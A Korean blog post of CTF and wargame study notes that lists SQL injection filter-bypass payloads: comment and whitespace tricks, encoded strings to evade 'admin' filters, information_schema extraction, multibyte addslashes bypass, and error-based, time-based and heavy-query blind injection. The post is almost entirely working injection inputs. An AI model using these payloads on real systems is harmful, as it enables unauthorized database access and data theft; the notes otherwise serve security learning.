about absolroot
home

SQL Injection 우회 목록

다양한 워게임 및 CTF를 풀면서 알게된 정보들을 정리한다. 실제로 사용한 예시가 있을 경우 링크를 달아놨다.

SQL Injection 우회 기법

✓ 주석

-- # /**/ ;%00

기본

'or 1=1#

✓ SELECT 공백 우회 및 2 표현 방식

select lv from chall7 where lv=(12345)union(select(4>>1))

주석 응용

#의 주석 범위는 %0a 줄바꿈 전까지
select lv from * where id='1212'# and pw='%0a or id='admin'%23
: /* */
select lv from * where id='1212'/* and pw=''*/ or id='admin'%23

✓ values 여러 값 입력

insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')
aaa','1.1.1.1','admin'),('bbb
insert into chall35(id,ip,phone) values(”guest”,”123.123.123.123”,”01012345678”),(”admin”,”MYIP”,”01099999999”)

공백 필터링

%09 (tab)
%0a (\n)
%0d (\r)
/**/ (주석)
() (괄호)
+ (더하기)

✓ ‘=’ 필터링

0)%09or%09no%09like%092%09--%09 # ) or no like 2 --
0)%09or%09no%09in%09('2')--%09 # or no in (’2’) --

✓ DB명, Information Schema 메타 데이터 테이블명, 필드명 추출

abcd','1111',{IP}),((SELECT database()),'1111',{IP});#
aaaa','1111','MYIP'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29'),'1111','MYIP');#
aaaa','1111','MYIP'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz'),'1111','MYIP');#

✓ 필터링 조건 속 Blind SQL Injection

✓ ‘Admin’ 문자열 필터링

lv=9||id=0x61646d696e
0||id=char(97,100,109,105,110)
1&&id=0b0110000101100100011011010110100101101110
/?lv=1%26%26id=char(97,100,109,105,110)
0||id=char(0x61, 0x64, 0x6d, 0x69, 0x6e)

✓ ‘or’ ‘and’ 문자열 필터링

%26 = & %7c = |
1||2
1&&2
1%7c%7c2
1%26%262

✓ Procedure analyse()

! MySQL 8.0에서 제거
테이블명 구하기
val=1 procedure analyse();
SELECT 값이 여러개일 때 각 필드명 구하기
score=1 LIMIT 0,1 Procedure analyse()
score=1 LIMIT 1,1 Procedure analyse()
score=1 LIMIT 2,1 Procedure analyse()

✓ Substr 필터링

right(left(id,{}),1)

✓ SQL reverse() 활용

sql insert into chall59 values('nimda',123,reverse(id))-- ,'guest')

✓ MultiByte ‘\’ addslash 우회

%bf를 입력함으로서 역슬래시와 함께 묶여 쓰레기값으로 유니코드 상에서 인식 불가로 넘어가게 하는방법 %27 '를 그대로 살릴 수 있다. 멀티바이트 환경에서만 가능하다 (ex. EUC-KR)
%bf%27%bf%5c%27

MultiByte Character SQL Injection

'test1' 필드의 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(ex. UTF-32 등)일 때는 다음과 같은 방법으로 SQL Injection을 수행할 수 있다.
substr(hex(test1),1,1)=0x41
※ MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다.

Error Based SQL Injection

해당 값을 입력하면 Integer 범위 초과 에러가 발생
0xfffffffffffff*0xfffffffffffff

✓ Time Based SQL Injection

특정 조건이 참일 때 대기시간을 발생시켜 time-out 체크를 통해 Blind SQLi가 가능해진다.
if(length(pw)%3E0,sleep(3.0),1)
if(substr(pw,1,1)='h',benchmark(100000,md5('a')),1)

✓ Time Based SQL Injection (Heavy Query)

sleep과 benchmark가 둘다 막혀 있고 DB 내부 데이터가 많은 경우, 로딩을 과하게 시켜 시간 지연을 발생시키는 방법이다.
if(substr(pw,1,1)='h',(select count(*) from information_schema.columns A,information_schema.columns B, information_schema.columns C),1);

SQL Injection이 가능한지 알아볼 때

'를 썼을 때 에러가 나는지
' and '1'='1 ' and '1'='2  를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지
' or '1'='1 을 썼을 때 정상적으로 출력되는 지
숫자로 이루어진 컬럼 (ex. id=1) 을 id=200-1 로 넣었을 때 정상적으로 출력 되는 지
'||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언일 때 )
주석을 쓸때는 #(%23), -- (--%20), %0a

✓ 다른 [정리] 포스트

베트남 환전 왜 한국에서 하면 안될까? (한국 vs 공항 vs 금은방)
Travel
베트남 환전 왜 한국에서 하면 안될까? (한국 vs 공항 vs 금은방)
Travel
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2024. Absolroot all rights reserved.